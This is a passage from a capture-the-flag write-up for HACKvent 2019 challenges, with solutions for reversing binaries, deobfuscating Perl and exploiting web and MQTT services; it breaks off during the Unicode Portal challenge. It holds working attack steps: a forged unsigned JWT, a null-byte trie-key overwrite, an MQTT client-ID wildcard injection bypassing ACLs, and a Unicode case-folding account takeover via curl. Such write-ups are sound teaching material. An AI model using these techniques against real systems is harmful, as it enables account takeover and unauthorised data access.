XXXXXXX X X X X X X X X X XXXXXXX <-- 7th line in a valid QR code
---------------------------------
XX X X X <-- XOR result (line of rule 30?)
We can actually confirm that the result is a line of the rule 30 pyramid. Even more confirmative is the fact that is also the 7th line of the pyramid:
X
XXX
XX X
XX XXXX
XX X X
XX XXXX XXX
XX X X X <-- 7th line
XX XXXX XXXXXX
XX X XXX X
XX XXXX XX X XXX
XX X X XXXX XX X
XX XXXX XX X X XXXX
XX X XXX XX XX X X
In order to XOR the invalid QR code with the rule 30 pyramid, we can scale and position the image of the rule 30 pyramid from above (it is not supposed to be centered) and save it as an image with the same size as the QR code image. This way, the python script can be reused to read the image data into a two dimensional array:
Finally we should add a function, which XORs both arrays and saves an array back to an image file. The full script looks like this:
#!/usr/bin/env python from PIL import Image import sys def printQR(qr): for i in range(len(qr)): for j in range(len(qr[i])): if (qr[i][j] == 1): sys.stdout.write('X') else: sys.stdout.write(' ') print('') def readImage(filename): data = [] im = Image.open(filename) pix = im.load() for h in range(2, im.size[0], 5): data.append([]) for w in range(2, im.size[1], 5): p = pix[w,h] if (p == 0 or p == (0,255)): data[len(data)-1].append(1) else: data[len(data)-1].append(0) return data def saveQR(qr, filename): im = Image.new('RGB', (39,39)) arr = [] arr += [(255,255,255)]*39*3 for i in range(len(qr)): arr += [(255,255,255)]*3 for j in range(len(qr[i])): if (qr[i][j] == 1): arr += [(0,0,0)] else: arr += [(255,255,255)] arr += [(255,255,255)]*3 arr += [(255,255,255)]*39*3 im.putdata(arr) im.save(filename) def xorImages(img1, img2): data = [] for i in range(len(img1)): data.append([]) for j in range(len(img1[i])): data[i].append(img1[i][j] ^ img2[i][j]) return data qrcode = readImage('bd659aba-5ad2-4ad3-992c-6f99023792bc.png') rule30 = readImage('rule30.png') final = xorImages(qrcode, rule30) printQR(final) saveQR(final, 'out.png')
After running the script, the resulting QR code is stored in
out.png
:
root@kali:~/hv19/09# zbarimg out.png QR-Code:HV19{Cha0tic_yet-0rdered} scanned 1 barcode symbols from 1 images in 0.02 seconds
The flag is HV19{Cha0tic_yet-0rdered}.
return to overview ⇧
HV19.10 – Guess what
Author: inik | |
The flag is right, of course
HV19.10-guess3.zip |
After two broken binaries were uploaded, the final binary (contained in
HV19.10-guess3.zip
) worked well.
The binary is a dynamically linked, stripped 64-bit ELF file:
root@kali:~/hv19/10# unzip d658ab66-6859-416d-8554-9a4ee0105794.zip Archive: d658ab66-6859-416d-8554-9a4ee0105794.zip inflating: guess3 root@kali:~/hv19/10# file guess3 guess3: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5e1e9f74990e4f8f96d380d2b5264a3567a9d046, stripped
During my initial research before the final binary was uploaded, I stumbled upon shc, which was obviously used to create the binaries. shc basically converts a shell script to an ELF binary.
When we run the binary, we are prompted for an input:
root@kali:~/hv19/10# ./guess3 Your input:
If we now simply inspect the output of
ps
, we can see the original shell script, which contains the flag:
root@kali:~# ps aux | grep guess3 root 5881 0.0 0.0 6584 2848 pts/1 S+ 08:28 0:00 ./guess3 -c #!/bin/bash read -p "Your input: " input if [ $input = "HV19{Sh3ll_0bfuscat10n_1s_fut1l3}" ] then echo "success" else echo "nooooh. try harder!" fi ./guess3 root 6046 0.0 0.0 6136 888 pts/2 S+ 08:29 0:00 grep guess3
The flag is HV19{Sh3ll_0bfuscat10n_1s_fut1l3}.
return to overview ⇧
HV19.11 – Frolicsome Santa Jokes API
Author: inik | |
The elves created an API where you get random jokes about santa.
Go and try it here: http://whale.hacking-lab.com:10101 |
The provided link leads to the
FSJA API
:
According to the description, let’s start by creating a user:
root@kali:~/hv19/11# curl -s -X POST -H 'Content-Type: application/json' http://whale.hacking-lab.com:10101/fsja/register --data '{"username":"scryh", "password": "giveflagplx"}' {"message":"User created","code":201}
Now we can retrieve our token:
root@kali:~/hv19/11# curl -s -X POST -H 'Content-Type: application/json' http://whale.hacking-lab.com:10101/fsja/login --data '{"username":"scryh", "password": "epixplzplz"}' {"message":"Token generated","code":201,"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoic2NyeWgiLCJwbGF0aW51bSI6ZmFsc2V9LCJleHA iOjE1NzYwNTQ1NTUuOTU3MDAwMDAwfQ.CPgXKYMPSEKIib8du1Mfr9jd_Eqo5qNxLEn3qEgAsFM"}
Using this token, we can get a random santa joke:
root@kali:~/hv19/11# curl -X GET "http://whale.hacking-lab.com:10101/fsja/random?token=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuY..." {"joke":"This past Christmas, I told my girlfriend for months in advance that all I wanted was an Xbox. Thatās it. Beginning and end of list, Xbox. You know what she got me? A homemade frame with a picture of us from our first date together. Which was fine. Because I got her an Xbox.","author":"Anthony Jeselnik","platinum":false}
Let’s have a look at the token, which is a
JSON Web Token
and can be parsed nicely on jwt.io:
As we have already seen in the joke output, there is an attribute called
platinum
, which is currently set to false
.
At first I started jwt-cracker in the background, which could potentially crack the secret used to sign the token.
Though it turned out to be even more easy. It simply suffice to set the attribute from
false
to true
:
If we know request a joke using the new token, we get the flag:
root@kali:~# curl -X GET "http://whale.hacking-lab.com:10101/fsja/random?token=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoic2NyeWgiLCJwbGF0aW51bSI6dHJ1ZX0sImV4cCI6MTU3NjA1NDU1NS45NTd9.24NlMDst57dLNgA0iOAiDOPOMwIoqHGAqp23i-F2vME" {"joke":"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}","author":"Santa","platinum":true}
The signature is not verified at all. This means that we can even totally omit the signature.
The flag is HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}.
return to overview ⇧
HV19.12 – back to basic
Author: hardlock | |
Santa used his time machine to get a present from the past. get your rusty tools out of your cellar and solve this one!
HV19.12-BackToBasic.zip |
The provided zip archive contains a 32-bit PE binary:
root@kali:~/hv19/12# unzip 67e6c6c2-1119-4c1e-a9b5-85f118173a40.zip Archive: 67e6c6c2-1119-4c1e-a9b5-85f118173a40.zip inflating: BackToBasic.exe root@kali:~/hv19/12# file BackToBasic.exe BackToBasic.exe: PE32 executable (GUI) Intel 80386, for MS Windows
Running
strings
on the file outputs several __vba
function names, which suggests that the binary was built with Visual Basic
:
root@kali:~/hv19/12# strings BackToBasic.exe !This program cannot be run in DOS mode. Rich .text `.data .rsrc MSVBVM60.DLL jRs1hRs ... HACKvent2019 Project1 Form1 Project1 Form C:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB Text1 Label1 VBA6.DLL __vbaFreeVar __vbaVarForNext __vbaStrVarVal __vbaVarXor __vbaI4Var __vbaVarAdd __vbaVarSub __vbaVarForInit __vbaLenVar ...
So let’s boot up a windows machine.
A good start for reversing a Visual Basic binary is VB Decompiler Lite. It quickly displays the form and code components:
The form only contains a single text field:
We can also have a look at the disassembly of the code. There is also a decompiler, which is only available in the pro version though:
By having a quick look at the disassembly we can identify a few interesting static strings:
00401B40h ; "6klzic<=bPBtdvff'y\x7fFI~on//N"
00401B7Ch ; "Status: correct"
00401BB0h ; "Status: wrong"
The first one is probably the encrypted flag. The second and third one could probably be used to track down the path to the valid flag.
Despite of using
VB Decompiler
to get a quick overview I prefer to use a debugger in order to analyze the binary dynamically.
So let’s run the binary in x64dbg (or more precisely x32dbg):
By pressing
F9
once (Run
) we continue to the entry point of BackToBasic.exe
. Here we can set a breakpoint at the beginning of the Text1_Change
function located at 00401F80
(the address is displayed by VB Decompiler):
The breakpoint is triggered each time we edit the input of the text field. After the breakpoint is hit we can single step through the code in order to comprehend what the flag is supposed to be. At the beginning there are a few calls to
__vbaVarCmpEq
and static references to the characters H, V, 1
and 9
. This part probably determines if the flag begins with HV19
. Following those instructions there is a je 004024B2
at 00402280
. Following the jump destination (004024B2
) we can see, that this branch outputs the string "Status: wrong"
. This means that the jump is not taken, if we enter a string with the correct flag prefix.
We can verify our assumption that the first part checks if the flag begins with
HV19
by setting a breakpoint on the je
instruction at 00402280
and enter different values in the text field. If we enter something, which does not begin with HV19
, the jump is taken and the program displays the message "Status: wrong"
. As soon as we enter HV19
, the jump is not taken:
Within the next instructions the function
__vbaLenVar
is called, followed by another je
instruction at 004022B9
. The obvious guess here is that this part determines if the length of the input equals the flag’s length. A few lines ahead we can also see, that 0x21
(= 33
) is stored on the stack. Thus we can assume that the input length should be 33. We can again verify this by setting a breakpoint on the je
instruction and testing different inputs. As soon as we enter a string of 33 characters, which begins with HV19
the jump is not taken anymore:
In the instructions that follow there is a loop, which seems to iterate over our input. The call to
__vbaVarXor
should raise our attention, since it is probably used the XOR our input and compare it with the static string we also saw in VB Decompiler. Unfortunately it is not too easy to inspect the values on a __vba
function call, since these function take Visual Basic variables as parameters. Without knowing the structure of these objects, we don’t know where to find the actual value of a variable.
After the loop there is a call to
__vbaVarTstEq
followed by another je
instruction at 00402433
. This is probably the comparison of our XORed input with the static string "6klzic<=bPBtdvff'y\x7fFI~on//N"
stored at 00401B40
. Let's set a breakpoint on the call and inspect the parameters:
There are two parameters, which are pushed on the stack before the call (stored
eax
and ecx
). Again these are actually Visual Basic variables, but if we inspect the value stored in ecx
, we can see that at offset 8 there is the address of the static string (00401B40
). If we now inspect the value of eax
at the same offset, we should see a reference to the string containing our XORed input:
At offset 8 the address
0044987C
is stored. Let's have a look at this address:
This can definitely be our XORed input string. By changing the first character of our input, we can verify that the first character of the supposed XORed input changes.
At last we only need to change our input so that the XORed input matches the string
"6klzic<=bPBtdvff'y\x7fFI~on//N"
. Changing the first three characters manually reveals the beginning of the flag: 0ld
. Let's see if we can find a pattern in the XOR key:
>>> ord('0')^ord('6') 6 >>> ord('l')^ord('k') 7 >>> ord('d')^ord('l') 8
Obviously the XOR key is
6
for the first character (which is actually the 6th character of the flag taking the HV19{
into account) and increases by one for each character. Accordingly the following python script should generate the flag:
#!/usr/bin/env python encr = '6klzic<=bPBtdvff\'y\x7fFI~on//N' flag = '' for i in range(len(encr)): c = encr[i] flag += chr(ord(c)^(i+6)) print(flag)
Running the script outputs the flag:
root@kali:~/hv19/12# ./flag.py 0ldsch00l_Revers1ng_Sess10n
The binary verifies that we have found the correct flag:
The flag is HV19{0ldsch00l_Revers1ng_Sess10n}.
return to overview ⇧
HV19.13 - TrieMe
Author: kiwi | |
Switzerland's national security is at risk. As you try to infiltrate a secret spy facility to save the nation you stumble upon an interesting looking login portal.
Can you break it and retrieve the critical information? Facility: http://whale.hacking-lab.com:8888/trieme/ HV19.13-NotesBean.java.zip |
The provided link leads to a website showing a single text field and a login button:
The provided zip archive contains the java class
NotesBean.java
:
root@kali:~/hv19/13# unzip 34913db9-fd2a-43c8-b563-55a1d10ee4cb.zip Archive: 34913db9-fd2a-43c8-b563-55a1d10ee4cb.zip inflating: NotesBean.java root@kali:~/hv19/13# cat NotesBean.java
package com.jwt.jsf.bean; import org.apache.commons.collections4.trie.PatriciaTrie; import java.io.IOException; import java.io.InputStream; import java.io.Serializable; import java.io.StringWriter; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; import static org.apache.commons.lang3.StringEscapeUtils.unescapeJava; import org.apache.commons.io.IOUtils; @ManagedBean(name="notesBean") @SessionScoped public class NotesBean implements Serializable { /** * */ private PatriciaTrie<Integer> trie = init(); private static final long serialVersionUID = 1L; private static final String securitytoken = "auth_token_4835989"; public NotesBean() { super(); init(); } public String getTrie() throws IOException { if(isAdmin(trie)) { InputStream in=getStreamFromResourcesFolder("data/flag.txt"); StringWriter writer = new StringWriter(); IOUtils.copy(in, writer, "UTF-8"); String flag = writer.toString(); return flag; } return "INTRUSION WILL BE REPORTED!"; } public void setTrie(String note) { trie.put(unescapeJava(note), 0); } private static PatriciaTrie<Integer> init(){ PatriciaTrie<Integer> trie = new PatriciaTrie<Integer>(); trie.put(securitytoken,0); return trie; } private static boolean isAdmin(PatriciaTrie<Integer> trie){ return !trie.containsKey(securitytoken); } private static InputStream getStreamFromResourcesFolder(String filePath) { return Thread.currentThread().getContextClassLoader().getResourceAsStream(filePath); } }
Let's start by analyzing the code.
Within the
init
method a PatriciaTrie
is instantiated and the string ("auth_token_4835989"
) stored in securitytoken
is added to it, mapped to the value 0
.
When submitting the text field on the website, the method
setTrie
is probably called, which adds our input to the trie also mapping it to the value 0
.
The
isAdmin
method determines if we get the flag. The method simply checks if the trie contains the key "auth_token_4835989"
(securitytoken
). If this is not the case, we are admin.
This means that we somehow have to remove the key
"auth_token_4835989"
from the trie to get the flag.
In order to execute the code locally and test different inputs without touching the webserver, we need to download the required dependencies. In this case we need the following four
.jar
files:
root@kali:~/hv19/13# ls -al *.jar -rw-r--r-- 1 root root 646680 Oct 16 2013 common-lang3.jar -rw-rw-rw- 1 root root 751238 Dec 1 18:30 commons-collections4-4.1.jar -rw-r--r-- 1 root root 185140 Dec 13 09:20 commons-io-2.4.jar -rw-r--r-- 1 root root 2555166 Oct 16 2013 javax.faces.jar
Now we can compile the class
NotesBean
(-cp
sets the classpath):
root@kali:~/hv19/13# javac -cp './commons-collections4-4.1.jar:./javax.faces.jar:./commons-io-2.4.jar:./common-lang3.jar:./' NotesBean.java
In order to instantiate an object of the class
NotesBean
, we add a static main
method:
... public static void main(String args[]) { NotesBean b = new NotesBean(); } ...
To mimic the behavior of the server, we add our input (
setTrie
) and then call the isAdmin
method:
... NotesBean b = new NotesBean(); b.setTrie("test"); System.out.println(b.getRawTrie()); if (NotesBean.isAdmin(b.getRawTrie())) System.out.println("admin"); else System.out.println("nope"); ...
The added method
getRawTrie
simply returns the PatriciaTrie
object:
... public PatriciaTrie<Integer> getRawTrie() { return trie; } ...
Recompiling and running the class shows the two entries within the trie and that we are obviously no admin, since the
"auth_token_4835989"
key is still present:
root@kali:~/hv19/13# javac -cp './commons-collections4-4.1.jar:./javax.faces.jar:./commons-io-2.4.jar:./common-lang3.jar:./' NotesBean.java root@kali:~/hv19/13# java -cp './commons-collections4-4.1.jar:./javax.faces.jar:./commons-io-2.4.jar:./common-lang3.jar:.' NotesBean Trie[2]={ Entry(key=auth_token_4835989 [9], value=0, parent=ROOT, left=ROOT, right=test [11], predecessor=test [11]) Entry(key=test [11], value=0, parent=auth_token_4835989 [9], left=auth_token_4835989 [9], right=test [11], predecessor=test [11]) } nope
My assumption was that if we are somehow able to remove the key just by adding another key, this key is probably almost the same. So let's fuzz the application by adding another byte to the existing key and adding it:
... for (byte i = 0; i < 256; i++) { NotesBean b = new NotesBean(); byte[] array = {i}; String s = new String(array); b.setTrie("auth_token_4835989"+s); System.out.println(b.getRawTrie()); if (NotesBean.isAdmin(b.getRawTrie())) { System.out.println(i); System.out.println("admin"); return; } else System.out.println("nope"); } ...
Recompiling and running the code:
root@kali:~/hv19/13# ... Trie[1]={ Entry(key=auth_token_4835989 [9], value=0, parent=ROOT, left=ROOT, right=auth_token_4835989 [9], predecessor=auth_token_4835989 [9]) } 0 admin
Wait, what?
We actually got a hit right at byte
0x00
. As we can see the trie now only contains one key instead of two. And this key seems to be the string "auth_token_4835989\x00"
. The key "auth_token_4835989"
was probably overwritten by our entry, since a part of the code did honor the null byte and another part did not honor it.
Now we only need to carry out our attack against the real webserver. In order to do this we can fire up burp, enter the string
"auth_token_4835989"
and add a null byte (%00
) in the intercepted request:
And we actually get the flag:
The flag is HV19{get_th3_chocolateZ}.
return to overview ⇧
HV19.14 - Achtung das Flag
Author: M. (who else) | |
Let's play another little game this year. Once again, I promise it is hardly obfuscated.
use Tk;use MIME::Base64;chomp(($a,$a,$b,$c,$f,$u,$z,$y,$r,$r,$u)=);sub M{$M=shift;## |
The obfuscated perl script is a little snake-style game, where we can collect each part of the flag 2 characters a time. If we hit ourself or an outer boarder, the game stops:
At first let's use an online formatter to beautify the code:
use Tk; use MIME::Base64; chomp( ( $a, $a, $b, $c, $f, $u, $z, $y, $r, $r, $u ) = <DATA> ); sub M { $M = shift; @m = keys %::; ( grep { ( unpack( "%32W*", $_ ) . length($_) ) eq $M } @m )[0]; } $zvYPxUpXMSsw = 0x1337C0DE; /_help_me_/; $PMMtQJOcHm8eFQfdsdNAS20 = sub { $zvYPxUpXMSsw = ( $zvYPxUpXMSsw * 16807 ) & 0xFFFFFFFF; }; ( $a1Ivn0ECw49I5I0oE0 = '07&3-"11*/(' ) =~ y$!-=$`-~$; ( $Sk61A7pO = 'K&:P3&44' ) =~ y$!-=$`-~$; m/Mm/g; ( $sk6i47pO = 'K&:R&-&"4&' ) =~ y$!-=$`-~$; $d28Vt03MEbdY0 = sub { pack( 'n', $fff[ $S9cXJIGB0BWce++ ] ^ ( $PMMtQJOcHm8eFQfdsdNAS20->() & 0xDEAD ) ); }; '42'; ( $vgOjwRk4wIo7_ = MainWindow->new )->title($r); ( $vMnyQdAkfgIIik = $vgOjwRk4wIo7_->Canvas( "-$a" => 640, "-$b" => 480, "-$u" => $f ) )->pack; @p = ( 42, 42 ); $cqI = $vMnyQdAkfgIIik->createLine( @p, @p, "-$y" => $c, "-$a" => 3 ); $S9cXJIGB0BWce = 0; $_2kY10 = 0; $_8NZQooI5K4b = 0; $Sk6lA7p0 = 0; $MMM__; $_ = M(120812) . '/' . M(191323) . M(133418) . M(98813) . M(121913) . M(134214) . M(101213) . '/' . M(97312) . M(6328) . M(2853) . '+' . M(4386); s|_||gi; @fff = map { unpack( 'n', $::{ M(122413) }->($_) ) } m:...:g; ( $T = sub { $vMnyQdAkfgIIik->delete($t); $t = $vMnyQdAkfgIIik->createText( $PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20, $PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20, "-text" => $d28Vt03MEbdY0->(), "-$y" => $z ); } )->(); $HACK; $i = $vMnyQdAkfgIIik->repeat( 25, sub { $_ = ( $_8NZQooI5K4b += 0.1 * $Sk6lA7p0 ); $p[0] += 3.0 * cos; $p[1] -= 3 * sin; ( $p[0] > 1 && $p[1] > 1 && $p[0] < 639 && $p[1] < 479 ) || $i->cancel(); 00; $q = ( $vMnyQdAkfgIIik->find( $a1Ivn0ECw49I5I0oE0, $p[0] - 1, $p[1] - 1, $p[0] + 1, $p[1] + 1 ) || [] )->[0]; $q == $t && $T->(); $vMnyQdAkfgIIik->insert( $cqI, 'end', \@p ); ( $q == $cqI || $S9cXJIGB0BWce > 44 ) && $i->cancel(); } ); $KE = 5; $vgOjwRk4wIo7_->bind( "<$Sk61A7pO-n>" => sub { $Sk6lA7p0 = 1; } ); $vgOjwRk4wIo7_->bind( "<$Sk61A7pO-m>" => sub { $Sk6lA7p0 = -1; } ); $vgOjwRk4wIo7_->bind( "<$sk6i47pO-n>" => sub { $Sk6lA7p0 = 0 if $Sk6lA7p0 > 0; } ); $vgOjwRk4wIo7_->bind( "<$sk6i47pO" . "-m>" => sub { $Sk6lA7p0 = 0 if $Sk6lA7p0 < 0; } ); $::{ M(7998) }->(); $M_decrypt = sub { 'HACKVENT2019' }; __DATA__ The cake is a lie! width height orange black green cyan fill Only perl can parse Perl! Achtung das Flag! --> Use N and M background M'); DROP TABLE flags; -- Run me in Perl! __DATA__
After changing the code a little bit to get familiar with it, we can follow different approaches.
One approach would be to simply remove the calls to
cancel()
:
... ( $p[0] > 1 && $p[1] > 1 && $p[0] < 639 && $p[1] < 479 ) || $i->cancel(); 00; ... ( $q == $cqI || $S9cXJIGB0BWce > 44 ) && $i->cancel(); ...
This way we game does not stop even if we hit ourself or a boarder. Though it is quite tiring to collect all parts of the flag manually, since the flag seems to be very long.
After understanding the code even better, we can increase the game tick time by editing the following
25
to eg. 2500
:
... $i = $vMnyQdAkfgIIik->repeat( 25, sub { ...
Also we want to edit the following line:
... $q == $t && $T->(); ...
$T->()
is called in order to move to the next part of the flag. If we skip the condition before it and just call $T->()
, the program kindly prints each part of the flag out one after another. We only have to note down the characters.
It is even more comfortable, if we additionally carry out the following adjustment:
... $T = sub { $vMnyQdAkfgIIik->delete($t); $w = $PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20; # added $h = $PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20; # added $txt = $d28Vt03MEbdY0->(); # added $t = $vMnyQdAkfgIIik->createText( $w,#$PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20, $h,#$PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20, "-text" => $txt,#$d28Vt03MEbdY0->(), "-$y" => $z ); print($txt); # added } ...
This way the flag gets printed out in the console. Ensure that the two calls determining the position of the text (
$PMMtQJOcHm8eFQfdsdNAS20->()
) are before the call to get the actual text ($d28Vt03MEbdY0->()
).
The flag is HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee}.
return to overview ⇧
HV19.15 - Santa's Workshop
Author: inik & avarx | |
The Elves are working very hard.
Look at http://whale.hacking-lab.com:2080/ to see how busy they are. |
The provided link leads to a website showing how much gifts the elves have built yet:
The number is constantly increasing.
By inspecting the source code, we can see that the website is using MQTT via websockets to retrieve the amount of gifts built.
The file
config.js
contains the configuration used:
var mqtt; var reconnectTimeout = 100; var host = 'whale.hacking-lab.com'; var port = 9001; var useTLS = false; var username = 'workshop'; var password = '2fXc7AWINBXyruvKLiX'; var clientid = localStorage.getItem("clientid"); if (clientid == null) { clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0'); localStorage.setItem("clientid", clientid); } var topic = 'HV19/gifts/'+clientid; // var topic = 'HV19/gifts/'+clientid+'/flag-tbd'; var cleansession = true;
Accordingly the amount of gifts built can be retrieved by querying the topic
'HV19/gifts/'+clientid
. The flag seems to be retrievable through a subtopic: 'HV19/gifts/'+clientid+'/flag-tbd'
.
We can use the configuration within a python script to retrieve the amount of gifts built using the paho-mqtt python module:
#!/usr/bin/env python3 import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, rc): print('connected') client.subscribe('#') def on_message(client, userdata, msg): print('['+msg.topic+']') print(msg.payload) client = mqtt.Client(client_id='03133731337',transport="websockets") client.username_pw_set('workshop', '2fXc7AWINBXyruvKLiX') client.on_connect = on_connect client.on_message = on_message client.connect('whale.hacking-lab.com', 9001, 60) client.loop_forever()
For the
client_id
we can choose any random value. By using the wildcard #
within the subscription, we subscribe to all topics we have access to (in this case only the amount of gifts built).
Running the script retrieves the amount of gifts built:
root@kali:~/hv19/15# ./getGifts.py connected [HV19/gifts/03133731337] b'7347537' [HV19/gifts/03133731337] b'7347538' [HV19/gifts/03133731337] b'7347541' ...
MQTT provides special system message, which aren't automatically registered by subscribing to the wildcard
#
. In order to get this system message, we must subscribe to $SYS/#
:
... client.subscribe('$SYS/#') ...
The system message
$SYS/broker/version
provides a hint:
root@kali:~/hv19/15# ./getSysMessages.py connected [$SYS/broker/version] b'mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)'
The mentioned CVE-2017-7650 regards pattern based ACLs. The fix for the CVE filters the characters
+
, #
and /
within the client ID as well as the username since these characters have a special meaning within a topic. A pattern based ACL can contain identifiers eg. for the client ID by using the identifer %c
, which is replaced with the current client ID. If this client ID contains a mentioned special character the semantic of the ACL may change.
Since the topic, at which we can retrieve the amount of gifts built, contains our client ID, the ACL in place probably looks like this:
pattern read HV19/gifts/%c
The official patch linked above revokes any of the characters
+#/
within the client ID and username. As stated within the hint, the elves implemented their own patch. By trying different client IDs we can figure out, that the characters #
and +
are only restricted if used within the first character of the client ID. If we use the client ID "xyz/#"
the parsed pattern based ACL would look like this:
pattern read HV19/gifts/xyz/#
Accordingly we would have access to all topics beneath
HV19/gifts/xyz/...
including the flag.
So let's give it a shot using our previously used client ID (the id has to be used once before):
... client = mqtt.Client(client_id='03133731337/#',transport="websockets") ...
Running the script actually reveals the flag, whichs is placed within the topic's name:
root@kali:~/hv19/15# ./getFlag.py connected [HV19/gifts/03133731337/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}] b'Congrats, you got it. The elves should not overrate their smartness!!!'
The flag is HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}.
return to overview ⇧
HV19.16 - B0rked Calculator
Author: hardlock | |
Santa has coded a simple project for you, but sadly he removed all the operations.
But when you restore them it will print the flag! HV19.16-b0rked.zip |
The provided zip archive contains a 32-bit PE binary:
root@kali:~/hv19/16# unzip 9b90c573-d530-401b-b3f8-24454bbf015e.zip Archive: 9b90c573-d530-401b-b3f8-24454bbf015e.zip inflating: b0rked.exe root@kali:~/hv19/16# file b0rked.exe b0rked.exe: PE32 executable (GUI) Intel 80386, for MS Windows
So let's boot up a windows machine and have a look at it. The calculator allows us to enter two numbers and an operation (
+
, -
, *
and /
):
As already stated within the description the actual implementation of the operations has been removed. Beneath the input fields some obviously messed up text is displayed. This is probably the flag, which will be displayed correctly if we implement the removed operations.
Let's have a look at the disassembly of the binary using
x64dbg
:
The above part of the disassembly shows the conditional calls to the appropriate function based on the selected operation.
When we inspect the disassembly of these functions, we can see that the implementation has been purged with
nops
(0x90
):
Accordingly our task is to replace the
nops
with the appropriate implementation in order to get the flag printed correctly.
The first operation is add (
+
):
enter 0,0 mov eax,dword ptr ss:[ebp+8] nop nop nop leave ret 8
The author kindly left a starting point by not removing the first relevant instruction:
mov eax,dword ptr ss:[ebp+8]
. By setting a breakpoint, entering some input and inspecting the stack at the time of the call to this function, we can see that dword ptr ss:[ebp+8]
contains the first number entered and dword ptr ss:[ebp+0xc]
contains the second number. Because of the left instruction, eax
already contains the first number. Accordingly we only have to add the instruction add eax,dword ptr[ebp+0xc]
in order to add the second number to eax
, which will hold the final result. Within x64dbg
we can select the line of the first nop
and hit SPACE
to apply a patch to the binary:
The patched implementation for add (
+
) now looks like this:
enter 0,0 mov eax,dword ptr ss:[ebp+8] add eax,dword ptr ss:[ebp+C] leave ret 8
As we can see, the operation now works and we get already parts of the flag printed beneath the text fields:
The second operation to implement is sub (
-
):
enter 0,0 nop nop nop mov ecx,dword ptr ss:[ebp+C] nop nop leave
Again an instruction was left, which moves the second number to
ecx
. Accordingly we only need to move the first number to eax
beforehand and subtract ecx
from eax
at the end:
enter 0,0 mov eax,dword ptr ss:[ebp+8] mov ecx,dword ptr ss:[ebp+C] sub eax,ecx leave ret 8
The next instruction is mul (
*
):
enter 0,0 nop nop nop nop nop nop nop nop leave ret 8
This time no instruction was left, but we already know from the previous operations, what to do: move to first number to
eax
, the second to ecx
and then multiply both registers:
enter 0,0 mov eax,dword ptr ss:[ebp+8] mov ecx,dword ptr ss:[ebp+C] mul ecx leave ret 8
The last operation is div (
/
):
enter 0,0 nop nop nop nop nop nop nop nop nop nop leave ret 8
The first two instructions stay the same. Before the
div
instruction we additionally zero out edx
(xor edx, edx
) since div
divides EDX:EAX
by the value within the given register:
enter 0,0 mov eax,dword ptr ss:[ebp+8] mov ecx,dword ptr ss:[ebp+C] xor edx, edx div ecx leave
After all missing implementations are fixed, the flag is displayed:
The flag is HV19{B0rked_Flag_Calculat0r}.
return to overview ⇧
HV19.17 - Unicode Portal
Author: scryh | |
Buy your special gifts online, but for the ultimative gift you have to become admin.
http://whale.hacking-lab.com:8881/ |
Since the challenge was created by myself, I was really curious about how other people like it and the way they solve it. Unfortunately the live server was running a slightly different version of MySQL than I used to create the challenge, which made the intended solution not working at the beginning. This also enabled an unintended solution (see below), which is slightly different from the intended one. Despite this rusty start the challenge went as planned and I got quite a good feedback.
The provided link within the challenge's description leads to
santa's unicode portal
:
On the
register
page a new account can be created:
Logging in with a freshly created account, the
symbols
page is accessible:
Also the authentication source code can be viewed:
The goal of the challenge is to get access to the
admin
page, which cannot be accessed by default users:
In order to get access to the
admin
page, our username must be santa
:
/** * Determines if the given user is admin. */ function isAdmin($username) { return ($username === 'santa'); }
The user
santa
cannot be registered, because it already exists (with a strong password, which is not supposed to be guessed/cracked/bruteforced).
Nevertheless the password of the user
santa
can be changed by evading the check made by the isUsernameAvailable
function.
This function converts the username to lowercase and determines if a binary equivalent username (lowercase) is already in the database:
/** * Determines if the given username is already taken. */ function isUsernameAvailable($conn, $username) { $usr = $conn->real_escape_string($username); $res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')"); $row = $res->fetch_assoc(); return (int)$row['cnt'] === 0;
If a username is available, the function
registerUser
is called, which converts the username to uppercase and stores it in the database:
/** * Registers a new user. */ function registerUser($conn, $username, $password) { $usr = $conn->real_escape_string($username); $pwd = password_hash($password, PASSWORD_DEFAULT); $conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'"); }
This can be exploited by leveraging the fact that certain unicode characters (the topic of the page should be a broad hint) end up as actual ASCII characters when being converted to lowercase or uppercase.
Accordingly for example the unicode character U+017F (UTF-8:
0xC5 0xBF
) ends up as an upper S
when converted to uppercase.
This means that we can register the username
%c5%bfanta
, which passes the check of isUsernameAvailable
, because it does not equal santa
. After being converted to uppercase by the registerUser
function though, the username inserted in the database is SANTA
, which means that effectively the password for the username santa
is updated (... ON DUPLICATE KEY UPDATE password ...
).
Thus we only have to register the username
%c5%bfanta
and set a password we would like:
root@kali:~/hv19/hv17# curl http://whale.hacking-lab.com:8881//register.php -d 'username=%c5%bfanta&pwd=mySecretPwd&pwd2=mySecretPwd' <!DOCTYPE html> <html> ... <center> <h3>Registration successful!</h3> <h4>You will be redirected to the login page ...</h4> </center> ...
